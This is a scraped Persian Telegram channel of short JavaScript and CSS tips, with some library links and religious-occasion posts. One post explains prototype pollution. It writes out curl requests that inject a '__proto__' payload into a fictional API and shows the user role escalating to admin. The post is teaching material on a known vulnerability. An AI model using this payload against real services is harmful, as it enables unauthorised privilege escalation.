جاوااسکریپت | JavaScript
505 subscribers
653 photos
139 videos
3 files
512 links
کانال @IR_javascript حاوی اطلاعات مفید در حوزه برنامه نویس فرانت که بصورت روزانه بروز می‌شود.
در این کانال شما به:
[1] مطالب تازه
[2] تحلیل‌های عمیق
[3] نکات آموزشی
[4] چالش
[5] ابزار و راهنمایی‌های کاربردی
دسترسی خواهید داشت.

🆔@IR_javascript
Download Telegram
اوایل همین ماه، شرکت ByteDance — خالق TikTok و CapCut — از Lynx.js رونمایی کرد. این خبر می‌تواند برای جامعه‌ی Vue بسیار مهم باشد، چراکه احتمالاً امکان توسعه‌ی اپلیکیشن‌های بومی با Vue را فراهم خواهد کرد!

یک فریم‌ورک رابط کاربری مبتنی بر جاوااسکریپت است که به توسعه‌دهندگان اجازه می‌دهد اپلیکیشن‌های وب و موبایل را به‌گونه‌ای بسازند که احساس بومی (Native) داشته باشند؛ به این ترتیب رویای قدیمی فرانت‌اندکاران و توسعه‌دهندگان UI یعنی «یک بار بنویس، همه‌جا اجرا کن» را محقق می‌کند.
با این حال، ترکیب Vue و Lynx یک فرصت هیجان‌انگیز است:

اپلیکیشن‌های واقعاً بومی

با استفاده از همان دانش وب

و منحنی یادگیری ساده‌ی Vue

با رشد این اکوسیستم، انتظار می‌رود ابزارها، کامپوننت‌ها و الگوهای بهتری شکل بگیرند و Vue Lynx به گزینه‌ای جدی برای توسعه‌ی کراس‌پلتفرم تبدیل شود.
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
استفاده از `distinctUntilChanged` و `debounceTime`: بهینه‌سازی جستجو 👩‍💻

وقتی فرم ایجاد می‌کنیم، مهم است که از ارسال درخواست‌های غیرضروری به سرور جلوگیری کنیم. دو اپراتور RxJS به نام‌های `debounceTime` و `distinctUntilChanged` در این زمینه به ما کمک می‌کنند:

* ✔️ debounceTime اجرای عملیات را با تأخیر انجام می‌دهد.
* ✔️ distinctUntilChanged مقادیر تکراری را نادیده می‌گیرد.

### مثال:

this.searchForm.controls.searchField.valueChanges
.pipe(
debounceTime(300), // صبر می‌کنیم ۳۰۰ میلی‌ثانیه بعد از آخرین ورودی
distinctUntilChanged() // مقادیر تکراری را نادیده می‌گیریم
)
.subscribe(searchTerm => {
console.log('درخواست به سرور:', searchTerm);
this.searchData(searchTerm); // ارسال درخواست
});


### عملکرد هر اپراتور:

⭐️ debounceTime(300) — ارسال درخواست را ۳۰۰ میلی‌ثانیه بعد از آخرین ورودی به تأخیر می‌اندازد. این کار باعث می‌شود برای هر کاراکتر یک درخواست ارسال نشود، که مخصوصاً هنگام تایپ سریع بسیار مفید است.

⭐️ distinctUntilChanged() — تضمین می‌کند که درخواست تنها وقتی مقدار تغییر کند ارسال شود. اگر کاربر همان عبارت جستجو را دوباره وارد کند، درخواست تکراری ارسال نخواهد شد.

---

نتیجه: ترکیب این دو اپراتور به شما کمک می‌کند کنترل بهتری روی درخواست‌ها در فرم‌های جستجو داشته باشید، عملکرد را بهبود بخشید و بار روی سرور را کاهش دهید. 😉


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
نحوه تنظیم Autocomplete با گزینه‌های محدود، ولی با امکان وارد کردن مقادیر دلخواه در TypeScript

اخیراً با یک چالش جالب مواجه شدم: می‌خواستم یک نوع (Type) بسازم که هم بتواند هر رشته‌ای را بپذیرد، و هم برای چند مقدار از پیش تعریف‌شده رفتاری خاص داشته باشد.

معمولاً این کار با enum یا اشیاء حل می‌شد، اما یک روش شیک‌تر هم وجود دارد!

### راهکار: استفاده از string & {} در انتهای Union

این تکنیک اجازه می‌دهد نوعی تعریف کنیم که انعطاف‌پذیر باشد و همزمان در Autocomplete گزینه‌های مشخص را پیشنهاد دهد.

#### مثال:

type MyType = 'Option1' | 'Option2' | string & {};


### توضیح:

* MyType می‌تواند هر رشته‌ای را بپذیرد.
* با این حال، Autocomplete تنها 'Option1' و 'Option2' را پیشنهاد می‌دهد.
* دلیلش این است که ترکیب string & {} امکان استفاده از رشته‌ها را حفظ می‌کند ولی پیشنهادها محدود به مقادیر مشخص شده در Union می‌ماند.

---

نتیجه: این روش برای مواقعی مناسب است که می‌خواهید انعطاف نوع را حفظ کنید و همزمان به راحتی بتوانید گزینه‌های از پیش تعریف‌شده را در Autocomplete نمایش دهید. 👍


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
اختصارات منطقی در انتساب‌ها در JavaScript 🤔

ECMAScript ۲۰۲۱ سه اپراتور مفید را اضافه کرده است:

✔️ انتساب x ||= y — اگر x مقدار «فالس» داشته باشد → `x = y`؛
✔️ انتساب x ??= y — اگر x مقدار null یا undefined داشته باشد → x = y (صفر، رشته خالی و false حفظ می‌شوند)؛
✔️ انتساب x &&= y — اگر x مقدار «ترو» داشته باشد → x = y.

‼️ نکته مهم: چرا x ||= y و x = x || y همیشه معادل هم نیستند

به طور خلاصه: اپراتورهای اختصاری مقدار سمت چپ انتساب (LHS) را فقط یک بار محاسبه می‌کنند، در حالی که حالت x = x || y ممکن است LHS را دو بار محاسبه کند. این مسئله زمانی مشکل‌ساز می‌شود که LHS فقط یک متغیر ساده نباشد، بلکه یک عبارت شامل فراخوانی‌ها، getterها یا کلیدهای محاسبه‌شده باشد.

👩‍💻 مثال کمینه و قابل بازتولید:

let i = 0;
function getKey() { console.log('getKey'); return 'k' + (++i); }

const a = {};
a[getKey()] ||= 1; // getKey یک بار فراخوانی می‌شود — ایمن

i = 0;
const b = {};
b[getKey()] = b[getKey()] || 1; // getKey دو بار فراخوانی می‌شود — اثر جانبی!


➡️ در عبارت b[...] = b[...] || 1`، `getKey() ممکن است در فراخوانی‌های مختلف کلیدهای متفاوت تولید کند یا اثرات جانبی دیگری داشته باشد — در نتیجه منطق برنامه خراب می‌شود. اما ||= چنین خطری ندارد، چون ارجاع به b[getKey()] فقط یک بار گرفته می‌شود.

نتیجه:
اپراتورهای ||=, ??= و &&= تنها «شیرینی سینتکسی» نیستند؛ بلکه روشی برای جلوگیری از باگ‌های پنهان هستند، به خصوص زمانی که LHS شامل عبارات با اثر جانبی است.

پیشنهاد استفاده:
⏺️ ??= برای مقداردهی پیش‌فرض واقعی،
⏺️ ||= برای زمانی که هر مقدار فالس مدنظر است،
⏺️ &&= برای به‌روزرسانی شرطی. 👍




#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
آشنایی با ویژگی rel در تگ <link> و تأثیر مقادیر آن بر رندر صفحه 🤨

تگ <link> برای اتصال منابع خارجی به سند HTML استفاده می‌شود.

ویژگی کلیدی این تگ، rel است که نوع ارتباط با منبع را مشخص می‌کند: این منابع می‌توانند شامل استایل‌ها، فونت‌ها، آیکون‌ها، مانیفست‌ها و موارد دیگر باشند. نحوه پردازش این منابع توسط مرورگر کاملاً وابسته به مقدار این ویژگی است و همین موضوع به طور مستقیم بر رندر صفحه، سرعت بارگذاری و دسترسی‌پذیری آن تأثیر می‌گذارد. 👨‍🏫

در تصاویر بالا، من به تفصیل مقادیر اصلی ویژگی rel و تأثیر آن‌ها بر عملکرد صفحه را بررسی کرده‌ام. ⬆️

توصیه‌های کاربردی:
✔️ فونت و CSS ‌های حیاتی را فوراً بارگذاری کنید (با stylesheet یا preload)؛
✔️ برای منابع از دامنه‌های دیگر از preconnect یا dns-prefetch استفاده کنید؛
✔️ منابع کم‌اهمیت‌تر را می‌توان به صورت غیرهمزمان بارگذاری کرد (prefetch).

نتیجه‌گیری:
استفاده از این تکنیک‌ها به کاهش تاخیرها، کاهش اثر «پرش صفحه» (FOUC) و بهبود تجربه کاربری کمک می‌کند، به‌ویژه در دستگاه‌های موبایل.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
This media is not supported in your browser
VIEW IN TELEGRAM
🖤شهادت امام حسن عسکری علیه السلام

💎 امام عسكرى عليه‌السلام در بیانی به احمد بن اسحاق فرمود: ... اى احمد‌بن‌اسحاق! مَثَل او در اين امت مثل خضر و مثل ذى القرنين است.
◼️به خدا سوگند هر آينه غيبتى خواهد نمود كه تنها كسانى كه خداوند آنان را بر قول به امامت او ثابت كرده و به دعا بر تعجيل فرجش موفق ساخته، هلاک نخواهند شد ...

🔗https://t.me/sadeghiyemohebbi/42863
🔗https://www.aparat.com/v/f275f0g
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
11👎8🥰1
Vidbg.js

کتابخانه Vidbg.js برای ایجاد پس‌زمینه‌های ویدیویی تمام‌صفحه طراحی شده است. این ابزار مشکلات مقیاس‌بندی واکنش‌گرا را حل می‌کند و دارای مکانیزم تصویر جایگزین (fallback) برای دستگاه‌های موبایل است، جایی که اغلب پخش خودکار ویدیو محدود شده است.


var instance = new vidbg(
".vidbg-box",
{
mp4: "http://example.com/video.mp4", // URL or relative path to MP4 video
webm: "path/to/video.webm", // URL or relative path to webm video
poster: "path/to/fallback.jpg", // URL or relative path to fallback image
overlay: false, // Boolean to display the overlay or not
overlayColor: "#000", // The overlay color as a HEX
overlayAlpha: 0.3, // The overlay alpha. Think of this as the last integer in RGBA()
},
{
// Attributes
}
);

🔗https://github.com/blakewilson/vidbg?tab=readme-ov-file
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
👍2
چه‌کار کنیم وقتی خطاها به هم مرتبط هستند؟ 🤨

ما اغلب با خطاهایی در کد مواجه می‌شویم. اما اگر خطا تنها خود خطا نباشد و نتیجه خطای دیگری باشد، چه باید کرد؟

در JavaScript از سپتامبر سال دو هزار و بیست و یک، ابزاری برای مدیریت چنین مواردی معرفی شده است: `cause`. بیایید ببینیم چگونه می‌توان با آن کار کرد. 😁

📚 \`cause\`\` چیست؟

cause یک پارامتر است که به شما اجازه می‌دهد مشخص کنید کدام خطا منجر به خطای فعلی شده است. این کار اشکال‌زدایی و تشخیص مشکل را ساده‌تر می‌کند و یک زنجیره واضح از خطاها ایجاد می‌کند.

مثال استفاده:

try {
throw new Error("بارگذاری فایل موفق نبود");
} catch (err) {
throw new Error("خطا در پردازش درخواست", { cause: err });
}


در اینجا ما یک خطای جدید ایجاد می‌کنیم و خطای اولیه را در `cause` قرار می‌دهیم. این کمک می‌کند بفهمیم چه چیزی منجر به مشکل جدید شده است.

چه زمانی مفید است؟ 🤔

✔️ برای پاکیزگی کد: به جای دستکاری‌های پیچیده در stack، یک راه ساده و قابل فهم.

✔️ برای اشکال‌زدایی: مشخص می‌شود که یک خطا چگونه به خطای دیگر منجر شده است و این کار باعث سرعت یافتن علت مشکل می‌شود.

نمونه خروجی:

Error: خطا در پردازش درخواست
at <anonymous>:4:9
Caused by: Error: بارگذاری فایل موفق نبود
at <anonymous>:2:9


در نهایت، پارامتر `cause` به مرتبط کردن خطاها کمک می‌کند**، که باعث کاهش «سر و صدای اضافی» در کد و **سرعت بخشیدن به فرآیند شناسایی و رفع مشکلات می‌شود. 👍



#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1👎1
Screencast of the different caret-shape possible values.webm
960.6 KB
نحو تعریف ویژگی caret-shape بسیار ساده است:

caret-shape: auto | bar | block | underscore;


مقدار اولیه auto است، که به مرورگر اجازه می‌دهد شکل نشانگر را بر اساس استانداردهای پلتفرم در موقعیت‌های مختلف تعیین کند. اما تا کنون همیشه از نشانگر خط عمودی (|) استفاده شده است.

شما می‌توانید نشانگر بلوک (█) یا زیرخط (_)‌ را انتخاب کنید، که برای برخی اپلیکیشن‌ها مانند ویرایشگر کد کاربردی و جلوه‌ای جذاب دارد.

#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
Dragscroll

اسکرول محتوا با موس اغلب محدود به استفاده از نوارهای اسکرول استاندارد است. کتابخانه dragscroll رفتار اسکرول با کشیدن (drag) را به رابط‌های دسکتاپ اضافه می‌کند، رفتاری که کاربران در دستگاه‌های لمسی به آن عادت دارند.

این ابزار برای گالری‌ها، نقشه‌ها یا هر کانتینری با اسکرول افقی بسیار مفید خواهد بود.

🔗http://asvd.github.io/dragscroll/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
آیا می‌دانستید که واژه‌ی روزمره‌ی «جاوااسکریپت» در واقع به‌عنوان یک علامت تجاری در مالکیت شرکت Oracle است؟

این یعنی استفاده از واژه‌ی «جاوااسکریپت» برای توصیف کارتان، محصولتان یا حتی یک کنفرانس می‌تواند ریسک حقوقی به همراه داشته باشد. به همین دلیل گاهی اصطلاح ثقیل «ECMAScript» را می‌بینیم؛ چون یک شرکت انحصار حقوقی بر زبانی را ادعا می‌کند که میلیاردها نفر هر روز به آن متکی هستند.

اوراکل این علامت تجاری را از شرکت Sun Microsystems به ارث برد؛ یادگاری از یک تلاش شکست‌خورده برای هم‌برندسازی با «جاوا». اما اکنون، پس از گذشت بیست‌وپنج سال، «جاوااسکریپت» دیگر یک برند نیست، بلکه نام عمومی محبوب‌ترین زبان برنامه‌نویسی جهان است که در سراسر وب استفاده می‌شود. اوراکل نه آن را ساخته، نه نگهداری می‌کند و نه حتی از آن استفاده دارد، اما همچنان نامش را تصاحب کرده، گویی محصول خود اوست.
🔗https://javascript.tm/
👥@IR_javascript_group
🆔@IR_javascript
1
آلودگی پروتوتایپ (Prototype Pollution)

تعریف:
آلودگی پروتوتایپ یک حمله تزریقی است که محیط‌های اجرای JavaScript را هدف می‌گیرد. در این نوع حمله، مهاجم می‌تواند مقادیر پیش‌فرض ویژگی‌های یک شیء را کنترل کند. این امکان به مهاجم اجازه می‌دهد منطق برنامه را دستکاری کند و در موارد شدید منجر به انکار سرویس (DoS) یا حتی اجرای کد از راه دور شود.

فرض کنید یک شرکت به نام startup.io API خود را برای مدیریت داده‌های کاربران ارائه کرده است. به دلیل محدودیت زمان و فشار سهامداران، تیم توسعه امنیت API را جدی نگرفته است و بسیاری از مشکلات گزارش شده توسط اسکنرهای امنیتی نادیده گرفته شده‌اند. یکی از آسیب‌پذیری‌های موجود، آلودگی پروتوتایپ است.

دو نقطه انتهایی API که اهمیت دارند:

POST https://api.startup.io/users/:userId برای به‌روزرسانی داده‌های کاربر

GET https://api.startup.io/users/:userId/role برای دریافت نقش امنیتی کاربر (admin یا user)

نمونه حمله: ارتقای دسترسی با آلودگی پروتوتایپ

ابتدا سعی می‌کنیم نقش خود را به admin تغییر دهیم:
curl -H "Content-Type: application/json" -X POST -d '{"role": "admin"}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role


نتیجه:

{ "role": "user" }


روش ساده کار نکرد، نقش همچنان user باقی ماند.

با استفاده از آلودگی پروتوتایپ و پیشوند جادویی proto می‌توانیم به موفقیت برسیم:
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"role": "admin"}}}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role


نتیجه:

{ "role": "admin" }


BOOM! موفق شدیم با ارسال payload جادویی، نقش خود را به admin تغییر دهیم.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
# بارگذاری تنبل تصاویر پس‌زمینه با API IntersectionObserver


وقتی تصاویر خارج از صفحه (offscreen) را با ویژگی HTML loading بارگذاری تنبل (lazy) می‌کنیم، کار ساده‌ای است. اما برای تصاویر پس‌زمینه که با CSS اضافه شده‌اند، کمی پیچیده‌تر است. در این حالت باید با JavaScript تشخیص دهیم که چه زمانی این تصاویر به دید کاربر نزدیک می‌شوند تا بارگذاری آن‌ها آغاز شود.


---

‏## API IntersectionObserver چیست؟

IntersectionObserver یک API بومی وب است که در مرورگرهای مدرن پشتیبانی می‌شود. این API به شما امکان می‌دهد تا به صورت غیرهمزمان (asynchronously) بررسی کنید که آیا یک عنصر HTML با یکی از والدینش، مانند viewport، در حال تقاطع (intersect) است یا خیر.

به همین دلیل، IntersectionObserver برای تشخیص ورود عناصر خارج از صفحه به محدوده دید کاربر و بارگذاری تنبل پس‌زمینه‌ها بسیار مناسب است.

---

## مزایای استفاده از IntersectionObserver برای عملکرد وب

* این API به صورت غیرهمزمان خارج از thread اصلی اجرا می‌شود و بنابراین بار پردازشی کمتری نسبت به event listenerهای سنتی scroll دارد.
* قبل از آن، توسعه‌دهندگان برای lazy load مجبور بودند event listenerهای scroll، resize و غیره را به صورت دستی اضافه کنند که باعث افزایش بار پردازشی و کندی مرورگر می‌شد.
* IntersectionObserver از thread ترکیب (compositor thread) مرورگر استفاده می‌کند و تغییرات تقاطع نزدیک به هم را در یک callback گروه‌بندی می‌کند، بنابراین از محاسبات تکراری DOM جلوگیری می‌شود.

نتیجه: مصرف CPU کمتر، اسکرول روان‌تر و تجربه کاربری بهتر.

---

## مراحل پیاده‌سازی بارگذاری تنبل پس‌زمینه

### ۱. علامت‌گذاری عناصر خارج از صفحه با کلاس deferred

<div class="bg-1"><p>CTA Area 01</p></div>
<div class="bg-2"><p>CTA Area 02</p></div>
<div class="bg-3"><p>CTA Area 03</p></div>
<div class="bg-4 deferred"><p>CTA Area 04</p></div>
<div class="bg-5 deferred"><p>CTA Area 05</p></div>
<!-- و به همین ترتیب -->


* عناصر با کلاس deferred از تصویر پس‌زمینه خالی استفاده می‌کنند و هنگام نزدیک شدن به viewport، تصاویر بارگذاری می‌شوند.
* تصاویر اولیه (مثلاً دو تصویر اول) با <link rel="preload"> از قبل بارگذاری می‌شوند تا LCP سریع‌تر شود.

---

### ۲. جایگزینی تصویر پس‌زمینه با رنگ پیش‌فرض در CSS

.bg-1 {
background: #d6d6d6 url("images/flowers-01.jpg") no-repeat;
}
.deferred {
background-image: none;
}


* رنگ خاکستری به عنوان placeholder استفاده می‌شود.
* با حذف کلاس deferred توسط JavaScript، تصاویر پس‌زمینه واقعی بارگذاری و نمایش داده می‌شوند.
* ویژگی aspect-ratio برای حفظ اندازه مشابه تصاویر استفاده می‌شود.

---

### ۳. مشاهده تقاطع عناصر با viewport در JavaScript

document.addEventListener("DOMContentLoaded", () => {
const deferredElements = document.querySelectorAll(".deferred");

const elementObserver = new IntersectionObserver(
(entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
entry.target.classList.remove("deferred");
observer.unobserve(entry.target);
}
});
},
{
root: null,
rootMargin: "200px 0px",
threshold: 0,
}
);

deferredElements.forEach(el => elementObserver.observe(el));
});


* root: null → viewport به عنوان ریشه
* rootMargin: "200px 0px" → شروع بارگذاری ۲۰۰px قبل از رسیدن عنصر به viewport
* threshold: 0 → شروع بارگذاری به محض ورود جزئی عنصر

---

### ۴. پشتیبانی از کاربران بدون JavaScript

<noscript>
<style>
.bg-4 { background-image: url(images/flowers-04.jpg); }
.bg-5 { background-image: url(images/flowers-05.jpg); }
.bg-6 { background-image: url(images/flowers-06.jpg); }
</style>
</noscript>


* برای کاربرانی که JavaScript غیرفعال دارند، تصاویر پس‌زمینه بارگذاری و نمایش داده می‌شوند.
* توجه: در این حالت، بارگذاری تنبل فعال نمی‌شود و تصاویر در ابتدا دانلود می‌شوند.

---

## جمع‌بندی
*‏ IntersectionObserver یک روش مدرن و بهینه برای lazy load تصاویر پس‌زمینه است.
* کاهش حجم اولیه صفحه، افزایش سرعت بارگذاری و بهبود Core Web Vitals از مزایای آن است.
* این روش با استفاده از thread ترکیب مرورگر و اجرای غیرهمزمان، از بلاک شدن thread اصلی جلوگیری می‌کند و تجربه کاربری روان‌تری ایجاد می‌کند.



#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
راه‌های متعددی برای ریفرش یا بارگذاری مجدد صفحه وجود دارد و هر کدام می‌توانند در موقعیت‌های مختلف مفید باشند. برای مثال، اخیراً با یک منبع اینترنتی برخورد کردم که لیستی کامل از روش‌های مختلف ریفرش صفحه با JavaScript ارائه کرده است: phpied.com
👀

به جای اینکه در صدها روش غرق شویم، بهتر است روی سه روش اصلی و پرکاربرد تمرکز کنیم که بیشترین کنترل را روی ناوبری و به‌روزرسانی صفحه ارائه می‌دهند:

# ریفرش صفحه در JavaScript

### ۱. location.assign(url) — رفتن به URL جدید

متد assign() برای ناوبری به یک URL جدید استفاده می‌شود و صفحه جاری را در تاریخچه مرورگر نگه می‌دارد. یعنی بعد از رفتن به URL جدید، کاربر می‌تواند با دکمه «بازگشت» به صفحه قبلی برگردد.

location.assign('https://example.com');


---

### ۲. location.replace(url) — رفتن بدون ذخیره در تاریخچه

متد replace() شبیه assign() است، اما صفحه فعلی را در تاریخچه مرورگر ذخیره نمی‌کند. بنابراین بعد از رفتن به URL جدید، با دکمه «بازگشت» نمی‌توان به صفحه قبلی بازگشت.

location.replace('https://example.com');


---

### ۳. location.reload() — بارگذاری مجدد صفحه جاری

متد reload() برای ریفرش یا بارگذاری مجدد صفحه جاری استفاده می‌شود.

* بدون پارامتر: صفحه با توجه به کش مرورگر بارگذاری می‌شود
* با پارامتر true: کش نادیده گرفته شده و صفحه دوباره از سرور بارگذاری می‌شود

location.reload();      // بارگذاری مجدد با کش
location.reload(true); // بارگذاری مجدد بدون کش




#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
1👍1
# استفاده از Custom Highlight API در مرورگرها

اخیراً متوجه شدم که Firefox 140 (ژوئن ۲۰۲۵) از Custom Highlight API پشتیبانی می‌کند، و حالا این ویژگی روی تمام مرورگرهای اصلی در دسترس است. با این API می‌توان به متن‌هایی که در JavaScript با کلاس Range() به دست می‌آوریم، استایل دلخواه اعمال کرد.

برای درک ساده، مراحل اصلی به این صورت است:

1. یک textNode انتخاب کنید.


   const textNode = document.querySelector("p").firstChild;

2. یک Range بسازید و محدوده‌ی شروع و پایان آن را مشخص کنید:


   const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);

3. با `CSS.highlights.set()`، این Range را به یک نام هایلایت متصل کنید:


   const highlight = new Highlight(range);
CSS.highlights.set("our-highlight", highlight);

4. در CSS با ::highlight(name) آن را استایل دهید:


   ::highlight(our-highlight) {
background-color: yellow;
}


---

## مثال عملی: هایلایت یک کلمه

const WORD_TO_HIGHLIGHT = "wisdom";
const NAME_OF_HIGHLIGHT = "our-highlight";

const textNode = document.querySelector("p").firstChild;
const textContent = textNode.textContent;

const startIndex = textContent.indexOf(WORD_TO_HIGHLIGHT);
const endIndex = startIndex + WORD_TO_HIGHLIGHT.length;

const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);

const highlight = new Highlight(range);
CSS.highlights.set(NAME_OF_HIGHLIGHT, highlight);


در DevTools می‌توان دید که کلمه "wisdom" با CSS استایل داده شده، بدون اینکه هیچ المنتی در اطراف آن اضافه شود.

---

## چرا مفید است؟

* استایل بدون دستکاری DOM: نیازی به اضافه کردن <span> یا عناصر دیگر نیست، که باعث کاهش وزن DOM و بهبود عملکرد می‌شود.
* کاهش هزینه‌های محاسباتی: اضافه کردن و حذف <span> می‌تواند باعث Reflow و Repaint شود و عملکرد UX را کند کند.
* قابلیت هایلایت چند محدوده‌ای: یک Highlight می‌تواند چند Range را پوشش دهد، که برای مثال می‌توان برای ایجاد یک سیستم جستجو روی متن کاربرد دارد.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
This media is not supported in your browser
VIEW IN TELEGRAM
🌸میلاد رسول مهربانی‌ها پیامبر اعظم (ص)💚
و امام جعفر صادق (ع)💚
این نصیحت را استاد در کتاب آزادی معنوی (ص۲۰۵) از قول امام صادق علیه السلام نقل می‌کنند که البته این استناد در این کلیپ نیامده است.

🔗https://t.me/motahari_ir/4489
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
7👎2